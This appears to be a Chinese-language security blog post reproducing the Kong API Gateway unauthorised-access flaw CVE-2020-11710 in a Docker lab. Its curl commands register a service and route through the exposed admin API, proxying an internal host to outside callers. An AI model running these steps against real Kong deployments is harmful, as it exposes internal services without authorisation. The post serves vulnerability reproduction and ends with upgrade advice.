Kong未授权访问漏洞(CVE-2020-11710)复现

  • A+
所属分类:安全文章

简介

 

Kong是开源的、"云原生"(cloud-native)的API Gateway应用程序,使用Kong gateway的各种插件可实现对访问流量的精细控制、访问鉴权。

 

影响版本

 

Kong :< V2.0.3

 

环境搭建

 

使用docker进行搭建

创建Docker网络

Kong未授权访问漏洞(CVE-2020-11710)复现


拉取并启动PostgreSQL容器

docker run -d --name kong-database                --network=kong-net                -p 5432:5432                -e "POSTGRES_USER=kong"                -e "POSTGRES_DB=kong"                -e "POSTGRES_PASSWORD=kong"                postgres:9.6


Kong未授权访问漏洞(CVE-2020-11710)复现


使用临时的Kong容器运行迁移

docker run --rm      --network=kong-net      -e "KONG_DATABASE=postgres"      -e "KONG_PG_HOST=kong-database"      -e "KONG_PG_USER=kong"      -e "KONG_PG_PASSWORD=kong"      -e "KONG_CASSANDRA_CONTACT_POINTS=kong-database"      kong:2.0.2 kong migrations bootstrap


Kong未授权访问漏洞(CVE-2020-11710)复现


启动kong

docker run -d --name kong      --network=kong-net      -e "KONG_DATABASE=postgres"      -e "KONG_PG_HOST=kong-database"      -e "KONG_PG_PASSWORD=kong"      -e "KONG_CASSANDRA_CONTACT_POINTS=kong-database"      -e "KONG_PROXY_ACCESS_LOG=/dev/stdout"      -e "KONG_ADMIN_ACCESS_LOG=/dev/stdout"      -e "KONG_PROXY_ERROR_LOG=/dev/stderr"      -e "KONG_ADMIN_ERROR_LOG=/dev/stderr"      -e "KONG_ADMIN_LISTEN=0.0.0.0:8001, 0.0.0.0:8444 ssl"      -p 8000:8000      -p 8443:8443      -p 8001:8001      -p 8444:8444      kong:2.0.2


Kong未授权访问漏洞(CVE-2020-11710)复现


漏洞复现

这里以访问http://192.168.1.141/index.html为例

 

Kong未授权访问漏洞(CVE-2020-11710)复现

Kong未授权访问漏洞(CVE-2020-11710)复现


 

利用 Admin Restful API - Kong Gateway上注册一个新的"服务"(web API) 指向内网的敏感站点 http://192.168.1.141/index.html

name 必须唯一

curl -i -X POST http://127.0.0.1:8001/services –data name=target –data url=‘http://192.168.1.141/index.html’


 

Kong未授权访问漏洞(CVE-2020-11710)复现


添加一个Route

paths[]的值为 /site1

name的值为 111111

curl -i -X POST http://127.0.0.1:8001/services/target/routes –data ‘paths[]=/site1’ –data ‘name=111111


Kong未授权访问漏洞(CVE-2020-11710)复现

 

访问http://127.0.0.1:8000/site1即可看到页面

Kong未授权访问漏洞(CVE-2020-11710)复现

 

 

修复建议

 

升级到安全版本

 

 


本文始发于微信公众号(锋刃科技):Kong未授权访问漏洞(CVE-2020-11710)复现

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: